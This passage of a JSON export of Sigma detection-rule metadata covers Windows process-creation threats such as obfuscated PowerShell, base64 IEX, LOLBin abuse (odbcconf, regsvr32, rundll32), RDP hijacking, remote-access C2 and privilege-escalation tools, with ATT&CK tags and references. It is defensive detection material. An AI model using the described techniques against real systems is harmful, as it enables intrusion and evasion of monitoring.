          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_use_clip.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e1561947-b4e3-4a74-9bdd-83baed21bdb5",
      "value": "Invoke-Obfuscation Via Use Clip"
    },
    {
      "description": "This rule detects execution of a PowerShell code through the sqltoolsps.exe utility, which is included in the standard set of utilities supplied with the Microsoft SQL Server Management studio.\nScript blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.\n",
      "meta": {
        "author": "Agro (@agro_sev) oscd.communitly",
        "creation_date": "2020/10/13",
        "falsepositive": [
          "Direct PS command execution through SQLToolsPS.exe is uncommon, childprocess sqltoolsps.exe spawned by smss.exe is a legitimate action."
        ],
        "filename": "proc_creation_win_mssql_sqltoolsps_susp_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OtherMSBinaries/Sqltoolsps.yml",
          "https://twitter.com/pabraeken/status/993298228840992768",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mssql_sqltoolsps_susp_execution.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001",
          "attack.defense_evasion",
          "attack.t1127"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a746c9b8-a2fb-4ee5-a428-92bee9e99060",
      "value": "SQL Client Tools PowerShell Session Detection"
    },
    {
      "description": "Detect filter driver unloading activity via fltmc.exe",
      "meta": {
        "author": "Nasreddine Bencherchali",
        "creation_date": "2023/02/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_fltmc_unload_driver.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.cybereason.com/blog/threat-analysis-report-lockbit-2.0-all-paths-lead-to-ransom",
          "https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fltmc_unload_driver.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070",
          "attack.t1562",
          "attack.t1562.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4931188c-178e-4ee7-a348-39e8a7a56821",
      "value": "Filter Driver Unloaded Via Fltmc.EXE"
    },
    {
      "description": "Detects usage of a base64 encoded \"IEX\" cmdlet in a process command line",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_base64_iex.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_iex.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "88f680b8-070e-402c-ae11-d2914f2257f1",
      "value": "PowerShell Base64 Encoded IEX Cmdlet"
    },
    {
      "description": "Detects execution of \"odbcconf\" with \"INSTALLDRIVER\" which installs a new ODBC driver. Attackers abuse this to install and run malicious DLLs.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/22",
        "falsepositive": [
          "Legitimate driver DLLs being registered via \"odbcconf\" will generate false positives. Investigate the path of the DLL and its contents to determine if the action is authorized."
        ],
        "filename": "proc_creation_win_odbcconf_driver_install.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/",
          "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/",
          "https://web.archive.org/web/20191023232753/https://twitter.com/Hexacorn/status/1187143326673330176",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_driver_install.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.008"
        ]
      },
      "related": [
        {
          "dest-uuid": "6e3bd510-6b33-41a4-af80-2d80f3ee0071",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3f5491e2-8db8-496b-9e95-1029fce852d4",
      "value": "Driver/DLL Installation Via Odbcconf.EXE"
    },
    {
      "description": "Detect attacker collecting audio via SoundRecorder application.",
      "meta": {
        "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Legitimate audio capture by legitimate user."
        ],
        "filename": "proc_creation_win_soundrecorder_audio_capture.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md",
          "https://eqllib.readthedocs.io/en/latest/analytics/f72a98cb-7b3d-4100-99c3-a138b6e9ff6e.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_soundrecorder_audio_capture.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1123"
        ]
      },
      "related": [
        {
          "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "83865853-59aa-449e-9600-74b9d89a6d6e",
      "value": "Audio Capture via SoundRecorder"
    },
    {
      "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/09/25",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "proc_creation_win_remote_access_tools_netsupport.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_netsupport.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "758ff488-18d5-4cbe-8ec4-02b6285a434f",
      "value": "Remote Access Tool - NetSupport Execution"
    },
    {
      "description": "Detects Commandlet names from well-known PowerShell exploitation frameworks",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_malicious_cmdlets.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1",
          "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/",
          "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1",
          "https://github.com/calebstewart/CVE-2021-1675",
          "https://github.com/besimorhino/powercat",
          "https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html",
          "https://github.com/Kevin-Robertson/Powermad",
          "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries",
          "https://github.com/adrecon/AzureADRecon",
          "https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1",
          "https://github.com/DarkCoderSc/PowerRunAsSystem/",
          "https://github.com/samratashok/nishang",
          "https://github.com/HarmJ0y/DAMP",
          "https://github.com/adrecon/ADRecon",
          "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1",
          "https://adsecurity.org/?p=2921",
          "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/",
          "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_malicious_cmdlets.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.discovery",
          "attack.t1482",
          "attack.t1087",
          "attack.t1087.001",
          "attack.t1087.002",
          "attack.t1069.001",
          "attack.t1069.002",
          "attack.t1069",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "02030f2f-6199-49ec-b258-ea71b07e03dc",
      "value": "Malicious PowerShell Commandlets - ProcessCreation"
    },
    {
      "description": "Extexport.exe loads dll and is execute from other folder the original path",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/11/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_extexport.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Extexport/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extexport.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fb0b815b-f5f6-4f50-970f-ffe21f253f7a",
      "value": "Suspicious Extexport Execution"
    },
    {
      "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/16",
        "falsepositive": [
          "WindowsApps installing updates via the quiet flag"
        ],
        "filename": "proc_creation_win_msiexec_install_quiet.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/_st0pp3r_/status/1583914244344799235",
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_quiet.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.007"
        ]
      },
      "related": [
        {
          "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "79a87aa6-e4bd-42fc-a5bb-5e6fbdcd62f5",
      "value": "Msiexec Quiet Installation"
    },
    {
      "description": "Detects a suspicious RDP session redirect using tscon.exe",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2018/03/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_tscon_rdp_redirect.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html",
          "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6",
          "https://www.hackingarticles.in/rdp-session-hijacking-with-tscon/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tscon_rdp_redirect.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1563.002",
          "attack.t1021.001",
          "car.2013-07-002"
        ]
      },
      "related": [
        {
          "dest-uuid": "e0033c16-a07e-48aa-8204-7c3ca669998c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f72aa3e8-49f9-4c7d-bd74-f8ab84ff9bbb",
      "value": "Suspicious RDP Redirect Using TSCON"
    },
    {
      "description": "This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks Python 3 and python.exe must be installed,\nUsee to Query/modify DNS records for Active Directory integrated DNS via LDAP\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_python_adidnsdump.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md#atomic-test-9---remote-system-discovery---adidnsdump",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_python_adidnsdump.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1018"
        ]
      },
      "related": [
        {
          "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "26d3f0a2-f514-4a3f-a8a7-e7e48a8d9160",
      "value": "PUA - Adidnsdump Execution"
    },
    {
      "description": "Detects base64 encoded .NET reflective loading of Assembly",
      "meta": {
        "author": "Christian Burkard (Nextron Systems), pH-T (Nextron Systems)",
        "creation_date": "2022/03/01",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_powershell_base64_reflection_assembly_load.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/",
          "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_reflection_assembly_load.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001",
          "attack.defense_evasion",
          "attack.t1027",
          "attack.t1620"
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      },
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          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
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        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "4933e63b-9b77-476e-ab29-761bc5b7d15a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "62b7ccc9-23b4-471e-aa15-6da3663c4d59",
      "value": "PowerShell Base64 Encoded Reflective Assembly Load"
    },
    {
      "description": "Detect the use of \"<\" to read and potentially execute a file via cmd.exe",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/03/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_cmd_stdin_redirect.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1059.003/T1059.003.md",
          "https://web.archive.org/web/20220306121156/https://www.x86matthew.com/view_post?id=ntdll_pipe",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_stdin_redirect.yml"
        ],
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          "attack.execution",
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      },
      "related": [
        {
          "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
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          ],
          "type": "related-to"
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      ],
      "uuid": "241e802a-b65e-484f-88cd-c2dc10f9206d",
      "value": "Read Contents From Stdin Via Cmd.EXE"
    },
    {
      "description": "Detects suspicious sub processes started by the ScreenConnect client service, which indicates the use of the so-called Backstage mode",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/02/25",
        "falsepositive": [
          "Case in which administrators are allowed to use ScreenConnect's Backstage mode"
        ],
        "filename": "proc_creation_win_remote_access_tools_screenconnect_anomaly.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.mandiant.com/resources/telegram-malware-iranian-espionage",
          "https://docs.connectwise.com/ConnectWise_Control_Documentation/Get_started/Host_client/View_menu/Backstage_mode",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_screenconnect_anomaly.yml"
        ],
        "tags": [
          "attack.command_and_control",
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      },
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        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
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      "uuid": "7b582f1a-b318-4c6a-bf4e-66fe49bf55a5",
      "value": "Remote Access Tool - ScreenConnect Backstage Mode Anomaly"
    },
    {
      "description": "Detects the execution of whoami that has been renamed to a different name to avoid detection",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/08/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_renamed_whoami.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/",
          "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_whoami.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1033",
          "car.2016-03-001"
        ]
      },
      "related": [
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      "uuid": "f1086bf7-a0c4-4a37-9102-01e573caf4a0",
      "value": "Renamed Whoami Execution"
    },
    {
      "description": "Detects the execution of a shell (powershell, bash, wsl...) via Visual Studio Code tunnel. Attackers can abuse this functionality to establish a C2 channel and execute arbitrary commands on the system.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/10/25",
        "falsepositive": [
          "Legitimate use of Visual Studio Code tunnel and running code from there"
        ],
        "filename": "proc_creation_win_vscode_tunnel_remote_shell_.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://code.visualstudio.com/docs/remote/tunnels",
          "https://badoption.eu/blog/2023/01/31/code_c2.html",
          "https://ipfyx.fr/post/visual-studio-code-tunnel/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vscode_tunnel_remote_shell_.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1071.001"
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      },
      "related": [
        {
          "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
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      ],
      "uuid": "f4a623c2-4ef5-4c33-b811-0642f702c9f1",
      "value": "Visual Studio Code Tunnel Shell Execution"
    },
    {
      "description": "Detects the execution of \"lodctr.exe\" to rebuild the performance counter registry values. This can be abused by attackers by providing a malicious config file to overwrite performance counter configuration to confuse and evade monitoring and security solutions.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/15",
        "falsepositive": [
          "Legitimate usage by an administrator"
        ],
        "filename": "proc_creation_win_lodctr_performance_counter_tampering.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows/security/identity-protection/virtual-smart-cards/virtual-smart-card-tpmvscmgr",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lodctr_performance_counter_tampering.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "cc9d3712-6310-4320-b2df-7cb408274d53",
      "value": "Rebuild Performance Counter Values Via Lodctr.EXE"
    },
    {
      "description": "Detects a set of suspicious network related commands often used in recon stages",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/02/07",
        "falsepositive": [
          "False positives depend on scripts and administrative tools used in the monitored environment"
        ],
        "filename": "proc_creation_win_nslookup_domain_discovery.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nslookup_domain_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1087",
          "attack.t1082",
          "car.2016-03-001"
        ]
      },
      "related": [
        {
          "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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        },
        {
          "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
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      ],
      "uuid": "e6313acd-208c-44fc-a0ff-db85d572e90e",
      "value": "Network Reconnaissance Activity"
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    {
      "description": "Detects rundll32 execution where the DLL is located on a remote location (share)",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/10",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_rundll32_unc_path.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_unc_path.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1021.002",
          "attack.t1218.011"
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      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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      ],
      "uuid": "5cdb711b-5740-4fb2-ba88-f7945027afac",
      "value": "Rundll32 UNC Path Execution"
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    {
      "description": "Detects suspicious scheduled task creations from a parent stored in a temporary folder",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/02/23",
        "falsepositive": [
          "Software installers that run from temporary folders and also install scheduled tasks"
        ],
        "filename": "proc_creation_win_schtasks_parent.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/649e7b46-9bec-4d05-98a5-dfa9a13eaae5/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_parent.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1053.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "9494479d-d994-40bf-a8b1-eea890237021",
      "value": "Suspicious Add Scheduled Task Parent"
    },
    {
      "description": "Detects regsvr32 execution to download/install/register new DLLs that are hosted on Web or FTP servers.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2023/05/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_regsvr32_network_pattern.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/tccontre18/status/1480950986650832903",
          "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/",
          "https://twitter.com/mrd0x/status/1461041276514623491",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_network_pattern.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.010"
        ]
      },
      "related": [
        {
          "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "867356ee-9352-41c9-a8f2-1be690d78216",
      "value": "Potentially Suspicious Regsvr32 HTTP/FTP Pattern"
    },
    {
      "description": "Detects potentially suspicious file downloads directly from IP addresses using curl.exe",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/07/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_curl_download_direct_ip_susp_extensions.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv",
          "https://labs.withsecure.com/publications/fin7-target-veeam-servers",
          "https://github.com/pr0xylife/IcedID/blob/8dd1e218460db4f750d955b4c65b2f918a1db906/icedID_09.28.2023.txt",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_download_direct_ip_susp_extensions.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "5cb299fc-5fb1-4d07-b989-0644c68b6043",
      "value": "Suspicious File Download From IP Via Curl.EXE"
    },
    {
      "description": "Detects the use of SharpUp, a tool for local privilege escalation",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/08/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_sharpup.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/GhostPack/SharpUp",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpup.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1615",
          "attack.t1569.002",
          "attack.t1574.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "1b20efbf-8063-4fc3-a07d-b575318a301b",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
